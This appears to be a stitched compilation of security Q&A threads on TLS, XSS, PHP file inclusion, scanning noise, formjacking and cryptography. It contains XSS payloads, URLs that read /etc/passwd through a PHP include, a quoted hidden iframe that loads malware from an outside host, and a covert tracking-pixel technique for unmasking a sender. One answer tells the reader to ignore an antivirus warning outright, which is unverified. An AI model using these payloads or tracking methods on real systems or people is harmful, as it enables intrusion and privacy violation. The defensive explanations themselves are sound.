It someone says "I can't access google.com" a packet trace might show you the DNS query, the outbound packet, and a lack of response. But it won't tell you WHY there's no response.

Another practical problem is the amount of data, which gets very large quickly. This is why tools like interactive proxies are often more useful for investigating application layer issues.


Does a browser have to make multiple requests to verify an SSL certificate chain? I've learned that SSL certificates can be chained, and the browser will use the issuer's public key to verify the issuer's signature. I have read this article, which has a very helpful diagram, but it doesn't answer my specific question.
SSL Certificate framework 101: How does the browser actually verify the validity of a given server certificate?

In the case of a 5-level certificate chain, does the browser:

Get the first 4 certificates in a single request to the original website?

Is it 4 separate files, or 1 file containing all 4 certificates?

Or get one certificate at a time after processing each one (4 separate requests)?

If every issuer is from a different domain, does the browser get the certificates from 4 different domains, or just from the original website?

Or some other method?

The server sends the entire certificate chain, up to and possibly including the root certificate, all at once as part of the Server Certificate TLS handshake message:

certificate_list

   This is a sequence (chain) of certificates.  The sender's
   certificate MUST come first in the list.  Each following
   certificate MUST directly certify the one preceding it.  Because
   certificate validation requires that root keys be distributed
   independently, the self-signed certificate that specifies the root
   certificate authority MAY be omitted from the chain, under the
   assumption that the remote end must already possess it in order to
   validate it in any case.

It's one TCP message (potentially divided into multiple packets, but reassembled by the client at the TCP stack) from the server to the client.

The client must have the root certificate to consult as an authority, and all the other certificates must form a linked chain leading from leaf to root.


Fuzzdb detected as Trojans I recently downloaded fuzzdb from http://code.google.com/p/fuzzdb/ and my antivirus kept on detecting some of the files as Trojans. I need to know if these files are safe?

fuzzdb contains a collection of web backdoor programs which if they were present on a live server would be a good indication that it had been compromised.

This is likely why the A-V tool is reacting to those files.  It is a common issue with penetration testing tools that A-V software regards them as malicious.

However just downloading them is not going to cause your machine to be compromised and as they are JSP/ASP/PHP files, you probably can't execute them by double-clicking them so in the sense of a traditional virus, you likely don't have anything to worry about.

That said code downloaded from the Internet can contain anything, and you should always review code before using it, if you're worried about its provenance.


Does using creating a seprate firefox profile cause a seprate security context protect against XSS and DNS Re-binding? I read here that I should use separate security profiles for different sorts of things; accessing sensitive information, doing system administration vs. opening links from emails.

I know that different instances of Firefox can be run from specifying different profiles to start up the browser with. As long as these are limited to accessing a certain type of site; can they provide protection against application-layer attacks like XSS, and DNS Re-binding?

Each Firefox profile shares no data with the other profile, i.e. they are separate folders and no cookies, saved passwords, installed extensions etc get shared. The only thing which might shared application data outside the control of Firefox, i.e the Silverlight plugin is known to share data even between different browsers on the same system. Flash cookies etc are instead to a specific profile I think. This in effect makes using separate Firefox profiles a good way to separate sites which should never be able to interact inside the browser, like intranet sites and external sites or to protect online banking. It does not protect against DNS rebinding attacks since these are not based on interaction between two sites inside the browser.

To make sure that one does not inadvertently uses the wrong browser one could additionally setup a proxy.pac file for each of the browser profiles which restricts access further. But note that proxy.pac files work at the level of hostnames and not IP address, so it does not protect against external sites returning local IP addresses (i.e. attacker.example.com claiming to be at 127.0.0.1). To get also this problem resolved you need to use a DNS server which can filter the DNS response like dnswall. Such server also protects against DNS rebinding attacks.


Would one consider the breaking of Enigma in WWII to be an early example of a backdoor? In a recent discussion re Tory Minister and British Home Secretary Amber Rudd's insistence that WhatsApp install a backdoor for government monitoring of encrypted data, I brought up Enigma as an early example of a system that was broken due to an exploit that revealed a backdoor, and cited it as something Rudd (a history graduate) should be aware of.

Many people disagreed stating that a backdoor is something that is intentionally designed into the system. My understanding was a backdoor was something that is intentionally designed or something which is unintentional and discovered as an exploit.

It is perhaps a question of semantics, but would one consider it to be a backdoor as a result of an exploit, or even an example of cracking a system due to an exploit, and if not, why?

There are two parts to this question.

(1) Is a backdoor something that is put there intentionally?

This has already been answered by Anders in their answer. To summarize, yes, because otherwise every vulnerability might as well be called a backdoor.

(2) Was the Enigma cracked because of a backdoor?

No. The Enigma was cracked because it was vulnerable to known-plaintext and guessed-plaintext attacks. However, all cryptosystems at the time were. The cipher implemented by the Enigma was still (one of?) the most advanced of its day.
The operators, however, were the ones using predictable sequences. So the cracking of the messages was largely due to operator mistakes - human failure, rather than a failure of the cryptosystem. In this sense, the breaking of the Enigma was not due to a "backdoor".

Further reading, and source used: Cryptanalysis of the Enigma on Wikipedia.


Is it a risk to highlight text while reading a webpage? Whenever a user selects or highlights text on a webpage, an OnClick() event is generated.  Some of the web browser security models depends on explicit end user interaction, such as OnClick(), before a new tab is opened, or software is downloaded.

That being said, is it a risk to highlight text while reading a webpage?
What can be done to mitigate this risk?

This sounds related to what NoScript's ClearClick is designed to prevent.  (The protection applies even if you have NoScript set to "Allow Scripts Globally").


Why do ID attributes need stricter validation? According to OWASP XSS Prevention Cheat Sheet, one should

  Strictly validate unsafe attributes such as background, id and name

I understand that background could contain data: urls, and can therefore be exploited even if the content is HTML encoded according to Rule 2.

But why do I have to strictly validate id and name? Is it just because it can be used to inject anchors which could trigger event handlers that were injected by other means? Or is it to prevent DOM-based XSS because of vulnerable scripts that load code from elements using the ID (i.e. shadowing some other element that is present in the page)?

This is not to prevent double quotes, single quotes or spaces from breaking out of the attribute context, as this is covered by "Aggressive HTML Entity Encoding".

For background, an attack like this is possible:

<body background="javascript:alert('XSS')">

For id and name, these attributes are frequently used as reference points in the DOM.

If an attacker can spoof these reference points, she may be able trick existing scripts into getting and setting values from places other than designed, which may be dangerous depending on the context that is is used.

This also applies to HTML forms where name is used to identify the name/value pair. For example, if a website does not encode a particular form field when it is output, but since the form field is server generated and the form is protected against CSRF by the use of tokens it cannot be exploited by normal means. However, an attacker may be able to entice a user to visit a URL with a parameter that is used in name, containing an XSS payload to execute on submission of the form.

e.g. Normal use:

https://example.com/product?item_name=watch&qty=1

which renders a form

<form>

<input type="hidden" name="watch" value="1" />
<input type="hidden" name="shop_name" value="Bob's Supplies" />
<input type="hidden" name="anti-csrf" value="asdjasodhoai" />

<input type="submit" value="Click here to buy" />

</form>

And then gets output as

Thank you for buying from Bob's Supplies.

However, an attacker could send a link to the user like so:

https://example.com/product?item_name=shop_name&qty=<script>alert('xss')</script>

As the application is correctly HTML encoding at this point it renders the form as

<form>

<input type="hidden" name="shop_name" value="&lt;script&gt;alert(&#039;xss&#039;)&lt;/script&gt;" />
<input type="hidden" name="shop_name" value="Bob's Supplies" />
<input type="hidden" name="anti-csrf" value="asdjasodhoai" />

<input type="submit" value="Click here to buy" />

</form>

This then gets output as

Thank you for buying from <script>alert('xss')</script>.

since this page doesn't HTML encode the shop_name parameter because it is trusted and the application framework always takes the first value in case of duplicates. Very contrived, but it was the first thing that fell into my head to demonstrate the point.


Does using Tails make one a target? Is it possible to identify users of security-focused operating systems like Tails? I'm wondering if Tails takes countermeasures to prevent the techniques that http://panopticlick.eff.org/ uses from identifying Tails users as such.

(Presumably adversaries could identify users that visit sites or search for info about, or download such OSes, so that this isn't the only concern.)

The answer from this thread may help answer your question.

https://tor.stackexchange.com/questions/1355/using-tails-is-one-identified-as-tails-user-or-as-general-tor-user

There is two different levels on which you can be identified as a Tor or Tails user.

The website server you visit knows if you are using Tor or Tails

Tails users can be identified as such by its browser fingerprint. For example, Tails comes with AdBlock Plus, and Tor Browser Bundle (TBB) doesn't. The configuration in the browser also differs somewhat in other regards.

Since most TBB users download ads, but most Tails users doesn't, that allows to guess whether you are a TBB user or Tails users. The exact list of ads Tails blocks is also fixed for a certain Tails release, so a TBB user that have installed AdBlock Plus will probably not have the same list, which makes the guessing even easier.

Tails does try to keep its fingerprint as close as possible to the Tor Browsers however, which of course makes it somewhat hard to fingerprint. It will probably keep improving further in the future, for example: Tails have discusses whether or not to remove AdBlock Plus in a future Tails release.

See section "3.11 Fingerprint" in Tails design document.

https://tails.boum.org/contribute/design/#index4h1
Your ISP or network admin knows if you are using Tor or Tails

Tails does only send Tor traffic, whereas another operating system with TBB on will also sends non-Tor traffic (e.g. syncing clocks, checking for system updates, etc). If your computer only sends Tor traffic, it is probably Tails


Remove possibility to read system files with PHP from Apache When I upload a php file (file.php) with following content on Apache server

<?php
$file = $_GET['file'];
include ( $file);
?>

I am able to read any file of Apache using the below URLs

http://domain.com/file.php?file=/etc/passwd
http://domain.com/file.php?file=/etc/httpd/conf/httpd.conf
http://domain.com/file.php?file=/etc/php.ini
http://domain.com/file.php?file=/etc/my.cnf

I am a Linux user so I know common path of the files, they are almost same on all Linux servers.

I do not have control over what code my developers are uploading. The code review process is full of flaws and this type of code can easily be uploaded on the server. Only thing we can do to forbid it through configuration files.

How can I remove this vulnerability from Apache so no one can read system files even if file.php is there in htdocs?

This is not a vulnerability in Apache. It is a vulnerability in your PHP code.

The function include(x) includes the file x. If you let the user pick any x, they will be able to include any file. If you don't want them to be able to do that, then don't write PHP code that lets them. I suggest you only pass constants or values from a whitelist as parameters to include().

If you are worried about your developers uploading bad code like this to the server, there is nothing you can do other than getting better developers (educate or replace) or a better review process. A PHP script could in practice be written to do anything the PHP interpreter has priveliges to do, and that is a lot. You could for instance write a backdoor in PHP giving anyone full access to your server.

To repeat, there is no magic config file that will make PHP inherently safe. The only way to keep you server safe is to only upload safe code to it, be it PHP or any other language. You can't get security with the push of a button; you need to integrate the perspective into your entire development process.


Log shows many hits to non existing content - hacking? I have a website with Joomla and 404shSEF installed. The component logs all 404 requests and the log is really interesting. The site is getting requests on components and also a file called this: "7c334.php". Here an example:

wp-admin/admin-ajax.php
wp-content/plugins/contus-video-gallery/hdflvplayer/download.php
wp-content/plugins/document_manager/views/file_download.php
wp-content/themes/antioch/lib/scripts/download.php
wp-content/themes/epic/lib/scripts/download.php
wp-content/themes/trinity/lib/scripts/download.php
ftpchk3.php
image?format=raw&id=30&type=img&view=image
image?format=raw&id=31&type=img&view=image
image?format=raw&id=45&type=img&view=image
images/post.php
images/stories/explore.php
images/stories/petx.php
modules/7c334.php
modules/7c34.php
modules/mod_banners/sysm.php
modules/mod_search/tmpl/index.php
modules/mod_xsystemx/7c334.php
modules/mod_xsystemx/7c34.php

Is this "normal scanning" behaviour or should I be concerned? The passwords are safe, or at least should be strong enough on the site, and the scripts are always actual. Are these requests made to all websites? I have scanned the site on sucuri and everything looks normal.

That is the background noise of the Internet: a bot scanning for commonly used admin interfaces, potentially vulnerable pages and software and well-known PHP backdoors.

In itself, this doesn't gives you any indication about the status of your server: it just tells you that a bot scanned it for common PHP entry point. It doesn't indicate if any was found, if any of the (potentially) detected entry point is exploitable, if any (potentially) vulnerable entry point was successfully exploited nor the extend of any (potential) breach.


Is Debian 9.5 stretch vulnerable to CVE-2018-17182? I have a Debian system running the following kernel version:

Linux REDACTED 4.9.0-7-amd64 #1 SMP Debian 4.9.110-3+deb9u2 (2018-08-13) x86_64 GNU/Linux Linux REDACTED 4.9.0-7-amd64 #1 SMP Debian 4.9.110-3+deb9u2 (2018-08-13) x86_64 GNU/Linux

Distributor ID:    Debian Description: Debian GNU/Linux 9.5 (stretch) Release: 9.5 Codename:   stretch Codename:   stretch

Is this kernel vulnerable to CVE-2018-17182?

This is my reference:

https://www.securityweek.com/google-project-zero-discloses-new-linux-kernel-flaw

https://security-tracker.debian.org/tracker/CVE-2018-17182

Yes. All mainline kernels from 3.15-rc8 commit  6b4ebc3a9078c5b7b8c4cf495a0b1d2d0e0bfe7a, up to the patch in 4.19-rc3 commit 7a9cdebdcc17e426fb5287e4a82db1dfe86339b2 are affected, and the Debian team has not patched it downstream for the version you are using.


Azure VPN Gateway Client - Reported as Win32/Detplock When following this official guide to setup an Azure VPN Gateway, the downloaded VPN client application is reported as Win32/Detplock by windows defender.

https://docs.microsoft.com/en-us/azure/vpn-gateway/vpn-gateway-howto-point-to-site-resource-manager-portal

The guide basically generates to be downloaded exe created by Microsoft.

I'm guessing this is a false positive, has anyone seen the same thing?
And is there a way to know for certain?

It is a false positive. Just simply ignore the message from Windows Defender and run the client tool anyway.


What is formjacking? I just heard a very confused news broadcast about Symantec warning the world about the dangers of formjacking. The newsreader said it involved “hacking the form, not the website” whatever that means.

I googled around and found a Symantec blog post about it, where they describe the attack as follows:

The attacker “injects” malicious JavaScript into the targeted webpage
The user fills out the form on that webpage
The JavaScript sends the entered data to the server of the attacker.

However, I would say that if an attacker has write access to the code on the server formjacking is the least of your concerns (and not the actual vulnerability – whatever gave them access is).

Why is formjacking the big deal (it was on the national news where I live) and not the fact that tons of websites (among which British Airways according to Symantec) have a ridiculously large vulnerability that allows attackers access to their servers?

The Symantec article you are referring to is like this one.

Looking at the graphic:

Point 1 is what is generally the most interesting to security researchers, because that is where the vulnerability is.

Points 2 and 3 just show what might be possible with such a vulnerability. For example, JavaScript can be used in phishing attacks (show a fake form) or to read out any data the user enters into forms. This is what Symantec calls formjacking, but it's of course nothing new.

Their article also has a section "How are websites being compromised?", which will likely interest you.

Vulnerabilities do indeed include the option to change server-side code, though not necessarily of the main application, but especially in JavaScript dependencies.

Issues with including 3rd party JavaScript are of course nothing new either. Burp eg calls it Cross-domain script include, and OWASP warns about it as well. Including 3rd party scripts always requires complete trust in the 3rd party as well as trust in their security processes.

  Why is formjacking the big deal

Good marketing on the part of Symantec?


How can malware immediately infect a Windows XP computer as soon as it goes online without any user action? This is a thing I used to hear back in the olden days of Windows XP...

People were telling me that a computer running on an out-of-date Windows XP system with no antivirus software was getting infected with malicious software within a few minutes after connecting it to the internet without any user action. For this reason, a computer right after reinstalling OS must never go online, not even to download updates or AV software; instead, relevant Windows updates must be downloaded on an already working computer, burnt on a CD / DVD disc, installed on the new system offline, and only then we could connect it to the internet. Same for AV.

I wonder how was it possible for malicious software to autoinfect regular users the moment they go online? I know it must be possible since I've experienced this myself (on a grossly out-of-date WinXP system, for granted).

I suppose there must have been botnets constantly port-scanning all valid IPv4 addresses... because how else could they download themselves the moment a user was going online? But there are almost 4 billion valid public IPv4 addresses! Am I to understand it was possible to keep such amount of addresses constantly in check?

Back in these times there were simple ADSL modems. I don't know, but I suppose they were not implementing NAT, right? So it was possible for bots to directly initiate connection to IPv4 addresses found vulnerable and infect them on sight. Is what I wrote so far correct?

If so, then I suppose this problem is no longer a thing? Machines are behind routers nowadays, which usually implement rudimentary firewalls. Also they implement NAT on IPv4, and while this does not happen with IPv6, there are far too many IPv6 addresses to keep them all in check all the time. Finally, current Windows systems come with firewalls enabled on default, further preventing botnets from connecting to these freshly installed systems. Is this correct?

Even if you are not actively accessing anything, your computer is. Windows is a very talkative OS, and will broadcast all his services all around the network, and depending on the network misconfiguration, to the entire world.

NAT will protect you under certain circumstances, but if your router have UPnP active and allows connection from the internet, it can create a path from the internet direct to your Windows computer, because Windows broadcasted his printer service. Any exploit running against SMB print service can reach it. Again, this depends on a couple variables: OS version and configuration, network topology, router/modem version and configuration, and specifics of the attack. Some combinations of those variables will surely open a port from the internet direct to a vulnerable service on an internal computer.

There are billions of IPv4 addresses, of course, but they aren't attacked by only one actor. It's common for scanning malware to start scanning its own subnet, and after that scan a random one. If any user of your ISP is infected, you will probably be scanned soon by his computer, not by a random computer half the planet away.

And even with routers, its security depends on your ISP settings. In Brazil, a large ISP deployed modems with telnet enabled, and without password. Any botnet targeting modems WILL compromise it, and compromise internal computers without too much trouble.


Where to keep key file used as composite key for Keepass 2 I used to use a master password and "Windows User Account" to get into my password datasbase with Keepass 2. Then I realized the "Windows User Account" option is garbage because if you ever want to upgrade, migrate, reinstall the OS then the database is lost. So now I use the master password and a key file.

My question is, where should the Key File be stored? I keep one copy on an external hard drive and another copy on Google Drive. My concern is, is Google Drive safe? According to here Google Drive encrypts all data but there are quite a few services that offer to encrypt data on Google Drive for you (are they just playing on the fact people don't know there stuff is already encrypted)? So is it safe if I upload the key file to Google Drive or is there further precautions I should take?

I would store it on an external device that has no access to the internet and where it is safe from other people.

As for Google Drive's encryption: No, it is not safe. The data is transmitted using an encrypted connection and is stored on Google's servers using a strong encryption (presumably), but nothing prevents Google from handing over the key for the encryption used to other people. You never get to choose the encryption key, nor do you ever have access to it. If you have to store any data in "the cloud", use real end-to-end encryption (TrueCrypt, EncFS, ...) with a strong key.

However, I would not store any sensitive data in the cloud, even if it is encrypted. The best way of keeping any information to yourself is not to publish it in the first place.


How do universities and schools securely sync passwords between multiple services? I'm a student and it seems every school or university I have been to has one password that you set for your user account for logging in to university services, which is also then synced to external services the university use such as blackboard, fronter, dropbox, Office 365 e-mail, etc.

Lesson 1 of cybersecurity is not to store passwords in plain text or to encrypt them. But instead to use some sort of hashing algorithm. If this is true how can a university's IT service automatically sync password for all the relevant accounts? I can understand how this can be done by using APIs each time to update all the services when a password change has been requested, but it would then make it impossible to adopt a new service without the user re-entering their password.

How is it done? or are they just holding passwords in plain text?

It's usually not that passwords are "synced" between services, but rather a centralized authentication service is used. In many cases, this is going to be a Microsoft Windows domain controller running an Active Directory server (others exist e.g. FreeIPA), which other services can talk to using LDAP and Kerberos.

The typical setup has all user accounts added to the directory server (which is usually replicated across multiple servers transparently for redundancy and reliability purposes). Locally hosted applications (e.g. Blackboard) will have the directory server's LDAP information entered into the server settings as an authentication provider. When a client enters their credentials on the web interface, the application may check the credentials against a local database as well as LDAP services that have been configured. If the LDAP server confirms a successful authentication, information about the user (contact info, group membership, etc.) can be retrieved to populate parts of the application. When user information is updated somewhere, the data on the directory server is changed so that the change will be visible everywhere else. This applies to changing the password.

Not all applications will use LDAP directly; external services such as Office 365 or Google Apps suite and others may instead use single sign-on (SSO), where you authenticate through your organization's login page and these external services are able to effectively reuse this authentication (e.g. through SAML).

On the directory server, passwords are stored as hashes within each user object. The hashes are protected further using LDAP access controls (so any LDAP client can't just pull hashes) and are encrypted with a key from the registry (in the case of Windows Active directory).

In short, this is just scratching the surface. There are a number of ways to set up a network and services to use centralized authentication. But almost every organization uses some type of this system; like you said, it would be very difficult and insecure to do manually in most cases.


how do extended validation X.509 certs work? https://www.forumatic.com/ uses an extended validation cert.  wikipedia.org's entry on extended validation certs says that a cert is known to be an extended validation cert if the OID in the certificate policies extension is of the appropriate value.

How does the browser know what the appropriate value is?  Here's what Google Chrome shows for the root cert in the chain:

The Extended Validation field looks promising.  Doing "openssl x509 -in cert.pem -noout -text" gives me the following:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 0 (0x0)
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, O=The Go Daddy Group, Inc., OU=Go Daddy Class 2 Certificat
ion Authority
        Validity
            Not Before: Jun 29 17:06:20 2004 GMT
            Not After : Jun 29 17:06:20 2034 GMT
        Subject: C=US, O=The Go Daddy Group, Inc., OU=Go Daddy Class 2 Certifica
tion Authority
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (2048 bit)
                Modulus (2048 bit):
                    00:de:9d:d7:ea:57:18:49:a1:5b:eb:d7:5f:48:86:
                    ea:be:dd:ff:e4:ef:67:1c:f4:65:68:b3:57:71:a0:
                    5e:77:bb:ed:9b:49:e9:70:80:3d:56:18:63:08:6f:
                    da:f2:cc:d0:3f:7f:02:54:22:54:10:d8:b2:81:d4:
                    c0:75:3d:4b:7f:c7:77:c3:3e:78:ab:1a:03:b5:20:
                    6b:2f:6a:2b:b1:c5:88:7e:c4:bb:1e:b0:c1:d8:45:
                    27:6f:aa:37:58:f7:87:26:d7:d8:2d:f6:a9:17:b7:
                    1f:72:36:4e:a6:17:3f:65:98:92:db:2a:6e:5d:a2:
                    fe:88:e0:0b:de:7f:e5:8d:15:e1:eb:cb:3a:d5:e2:
                    12:a2:13:2d:d8:8e:af:5f:12:3d:a0:08:05:08:b6:
                    5c:a5:65:38:04:45:99:1e:a3:60:60:74:c5:41:a5:
                    72:62:1b:62:c5:1f:6f:5f:1a:42:be:02:51:65:a8:
                    ae:23:18:6a:fc:78:03:a9:4d:7f:80:c3:fa:ab:5a:
                    fc:a1:40:a4:ca:19:16:fe:b2:c8:ef:5e:73:0d:ee:
                    77:bd:9a:f6:79:98:bc:b1:07:67:a2:15:0d:dd:a0:
                    58:c6:44:7b:0a:3e:62:28:5f:ba:41:07:53:58:cf:
                    11:7e:38:74:c5:f8:ff:b5:69:90:8f:84:74:ea:97:
                    1b:af
                Exponent: 3 (0x3)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                D2:C4:B0:D2:91:D4:4C:11:71:B3:61:CB:3D:A1:FE:DD:A8:6A:D4:E3
            X509v3 Authority Key Identifier:
                keyid:D2:C4:B0:D2:91:D4:4C:11:71:B3:61:CB:3D:A1:FE:DD:A8:6A:D4:E
3
                DirName:/C=US/O=The Go Daddy Group, Inc./OU=Go Daddy Class 2 Cer
tification Authority
                serial:00

            X509v3 Basic Constraints:
                CA:TRUE
    Signature Algorithm: sha1WithRSAEncryption
        32:4b:f3:b2:ca:3e:91:fc:12:c6:a1:07:8c:8e:77:a0:33:06:
        14:5c:90:1e:18:f7:08:a6:3d:0a:19:f9:87:80:11:6e:69:e4:
        96:17:30:ff:34:91:63:72:38:ee:cc:1c:01:a3:1d:94:28:a4:
        31:f6:7a:c4:54:d7:f6:e5:31:58:03:a2:cc:ce:62:db:94:45:
        73:b5:bf:45:c9:24:b5:d5:82:02:ad:23:79:69:8d:b8:b6:4d:
        ce:cf:4c:ca:33:23:e8:1c:88:aa:9d:8b:41:6e:16:c9:20:e5:
        89:9e:cd:3b:da:70:f7:7e:99:26:20:14:54:25:ab:6e:73:85:
        e6:9b:21:9d:0a:6c:82:0e:a8:f8:c2:0c:fa:10:1e:6c:96:ef:
        87:0d:c4:0f:61:8b:ad:ee:83:2b:95:f8:8e:92:84:72:39:eb:
        20:ea:83:ed:83:cd:97:6e:08:bc:eb:4e:26:b6:73:2b:e4:d3:
        f6:4c:fe:26:71:e2:61:11:74:4a:ff:57:1a:87:0f:75:48:2e:
        cf:51:69:17:a0:02:12:61:95:d5:d1:40:b2:10:4c:ee:c4:ac:
        10:43:a6:a5:9e:0a:d5:95:62:9a:0d:cf:88:82:c5:32:0c:e4:
        2b:9f:45:e6:0d:9f:28:9c:b1:b9:2a:5a:57:ad:37:0f:af:1d:
        7f:db:bd:9f

I don't see anything resembling the Extended Validation field in openssl's parsing of the cert...

These values (both OID and root CA cert fingerprint) are indeed hard-coded in the browser's code. In Firefox, this is done in nsIdentityChecking.cpp.


What are a few good analogies to describe the benefits of a strong security program? Given communication is king, what are some of the favorite analogies you like to use to describe the benefits of security to organizations needing security but new to security?

Fine, I'll just quote Krag Brotby:

To successfully navigate an airplane or a security department to its destination, the necessary information includes

Objective (or destination)
Current location (relative to the
destination)
Direction (heading toward the
destination)
Speed (how long to reach the
destination)

For the pilot, or security manager, it is also necessary to have information regarding

Intervening obstacles (constraints
that may require a change of course)
Operational health/malfunctions
(knowing whether the equipment is
working properly)
Cost/effectiveness (affordability)

There are essentially three fundamentally different kinds of information required
for managing and operating an aircraft—or a security program. They are

Navigation (Strategic, Directional):

  For aircraft, this is the exclusive
  purview of a central set of
  instruments concerned with information
  about location, heading, and distance
  to the destination. This is the
  “linkage” to business objectives— that
  is, steering the ship to the
  destination that meets the business
  objectives of operating an airline. It
  is analogous to the requirement for
  setting objectives consistent with the
  business goals for an information
  security program and then developing
  metrics to provide the same
  information in terms of heading to the
  destination as well as information on
  current location.

Program Management (Tactical, Administrative):

  For our airplane analogy, this is the
  information required to manage the
  actual flying, which includes aircraft
  heading, altitude, speed and so forth,
  which is provided by the main
  instrumentation located directly in
  front of the pilot. For managing an
  airplane or an information security
  program, this information must be
  real-time or near real-time. It is the
  feedback that allows effective
  day-to-day management and
  administration while maintaining a
  heading that will achieve the
  destination.

Operational (Technical, Procedural):

  On the typical aircraft dashboard
  (called the instrument panel),
  technical information regarding the
  operation of the machinery is off to
  one side and referenced occasionally
  for assurance that the systems are
  operating in the “green” and that
  there are adequate resources such as
  fuel. This information is of no value
  in determining direction or flight
  management or whether the destination
  will be reached except to the extent
  that failure of the power plant can
  inform us that we are not capable of
  reaching the destination.

While navigation and administration are the main security management components,
they are dependent on higher-level strategic decisions about the underlying
mission of the “flight.” The oft-mentioned notion of strategic alignment therefore
is achieved when the operation of the “flight,” or the security program, serves a
higher-level organizational purpose such as operating an airline—in other words,
when the information security program provides the elements essential to the successful
operation of the organization.

The operational component of metrics from a technical perspective are available
and commonly deployed. Operational metrics at the physical and process levels are
more scarce and less automated. The components that are poorly addressed if at all
are navigation and management.


Spam/Phishing detection when there is no MX record While SPF/DKIM/DMARC are standard, foundational tools to help protect an email-sending domain from spoofing, what about domains that do not send emails?

How do spam or phishing filters treat emails from domains without MX records? If they are checking DNS for SPF/DKIM/DMARC, certainly they also check for MX and score the incoming email appropriately. Do they?

This matters in terms of the level of email spoofing protection that we might need to consider for non-email-sending domains. Do we need to add in a bunch of SPF records for parked domains, for example?

I tested with a simple email spoofer and Office 365 (Forefront), and the spoofed email gets scored as suspicious (score of 5/9). The headers are inscrutable so it is difficult to see just how much the lack of MX record contributed to the score.

The same test to Gmail, a couple of times, and it never even got delivered.

Both of these tests should be repeated with much more rigor, however.

SpamAssassin has a rule NO_DNS_FOR_FROM for domains without a MX or A record. (Thanks @pornin)

So, it seems that a lack of MX records does factor into the spam score. Perhaps we do not need to add SPF to all our unused domains since spam filters appear to account for this problem.


What is the purpose of this malware code? This is the code that I found on my client's website:

 ?><noindex><nofollow>
<iframe src="htxp://atluscomdnsup23.ikwb.cxm/main.php?page=1f1214ff37a3022d" height="0" width="0" FRAMEBORDER="0" style="visibility: hidden; position: absolute;"></iframe>
</iframe></nofollow></noindex>

This is inserting a hidden iframe pointing to a (presumably compromised) website which will contain more evil code.

I have to disagree with Ali Hussein answer, there doesn't seem to bear any relationship to clickjacking, as it's not trying to appear on top of other page elements. It simply tries not to be seen.

Probably, the atluscomdnsup23 will contain javascript attempting to exploit vulnerabilities in your browser, following referrals, opening advertising popups, etc.


Thats the shell code generated in python, you execute that on the target/vulnerable machine in general. Thats are the opcodes in assembler and python dont know nothing about it in general.

What you can do is to convert your shell code in assembler with any disassembler(capstone, distorm, etc...) python lib and then check this link https://stackoverflow.com/questions/6040932/executing-assembler-code-with-python. But you question is more about programming than security.


Signing webhooks with JWT -- overkill with TLS? I have a server that sends webhook notifications to client servers. Before the client server begins processing anything, it should be certain that the webhook originated from my server, and that it was not altered or spoofed.

I can use a JSON Web Token (JWT) to sign the request and payload with a pre-shared secret key to ensure all of the above.

Is this completely redundant if the webhook is sent over HTTPS anyway?

It depends.

Most regular HTTPS connection are only authenticated for a single side (usually the server), mutual authentication is much less common. When there is only single side authentication, JWT signing can be used to authenticate the other side. If your TLS connection is already mutually authenticated using both Client and Server Certificate, then JWT signing may be redundant.

One case where JWT signing may not be redundant even if you already use mutually authentication is if the recipient needs to save the request and signature to allow an independent third party (e.g. regulators) to be able to audit that you were really the one that made the request (though for this case, you're going to need asymmetric signature rather than preshared key signature).


How secure is a server's .htaccess file? Would access need to be gained to the server in question or can an .htaccess file leak information in some way?

Would access need to be gained to the server in question?

To read the .htaccess file, yes, assuming the server is properly configured everything else running on the server is secure. Most default apache installations have a rule that files starting with .ht will not be served statically. It could still be served by a buggy application on the server, like a PHP script that passes user input directly into file_get_contents .

  Can an .htaccess file leak information in some way?

Yes, it can leak anything that is in it. Basic information like the path to your web root can be found in it. Perhaps an open redirect could be discovered. Some applications have a .htaccess file set environment variables containing database credentials. In reality though, if someone is able to get access to your .htaccess file, you probably have bigger problems.


DH parameters recommended size? I'm setting up EAP-TLS on my wireless router, and am currently generating DH parameters for FreeRADIUS.

First, what do these parameters do? Also, what size should they be?

I've been generating the current parameters for some time:

openssl dhparam -check -text -5 4096 -out dh

The tutorial I was following recommended a 512-bit DH parameter size, but I'm a bit of a tin-foil-hatter. What are the security implications of the size and strength of these parameters?

Diffie-Hellman is not stronger than the Discrete Logarithm problem in the multiplicative subgroup of integers modulo a prime p. A larger prime p makes DL harder. Current record (in academic circles) is for a 530-bit prime modulus. Though it took quite some computational effort, the lesson is that 512-bit DH is breakable with existing technology. An attacker observing your traffic could thus (at a price) break through the key exchange mechanism, recover the session key, and decrypt your data. Also, DL-breaking algorithms tend to be cumulative, i.e. breaking ulterior sessions with the same modulus would be easier.

Current recommendations from various bodies (including NIST) call for a 2048-bit modulus for DH. Known DH-breaking algorithms would have a cost so ludicrously high that they could not be run to completion with known Earth-based technology. See this site for pointers on that subject.

You don't want to overdo the size because the computational usage cost rises relatively sharply with prime size (somewhere between quadratic and cubic, depending on some implementation details) but a 2048-bit DH ought to be fine (a basic low-end PC can do several hundreds of 2048-bit DH per second).


Is it possible to find email sender who has hidden their IP address in the header? After someone has hidden their IP address so that it doesn't appear in the header of an email, is it possible to find the sender via another method?

A practical technique that has been used many times effectively involves HTML embedding a 1x1 pixel image in a reply mail, sourced on a webserver you control. Only the recipient should pull that image from the server. HTML embedded images are not attachments, google <img src...

It is somewhat uncommon for email clients ( and even less likely for browser based email account access ) to block images from being loaded, so there is a fair chance of success.

Other than that, schroeder has answered canonically; you’ll need mailserver log access - perhaps you can convince an administrator, if the email was somehow threatening, lewd, etc.

Edit: To clarify, I suggest that OP reply to the sender with a crafted email that links to a 1x1px image on a webserver he controls/can read www access log on. Some of these provide user-level webpages ( host.tld/~user ), with access_log in the user’s folder.


What does "in-house hash function" mean? In security news, I faced a new term related to hash functions: it is reported that the "in-house hash function" used in IOTA platform is broken (i.e. Curl-P hash function). You can find the complete paper introducing the vulnerability here.

But I do not understand if the term of "in-house" represents a specific type of hash function? And in general, what does "in-house" mean here?

From the explanation of in-house in the Cambridge Directory: "Something that is done in-house is done within an organization or business by its employees rather than by other people".

Here it means developing your own hash algorithm  instead of using a public one.  Usually that means that it is developed by only a few people with only limited expertise in the problem area and without any public input. Thus it is very likely that the self-developed one gets eventually broken once more experts in cryptography take a look at it.

See also Why shouldn't we roll our own? and How valuable is secrecy of an algorithm?.


Why does cellular communication protocols use A5 or KASUMI and not AES or 3DES or RSA Why does cellular communication protocols use A5 or KASUMI and not AES or 3DES or RSA?

I have read that A5 is not that secure, is this the case?

Are A5 or KASUMI used anywhere else? Why only in cellular?

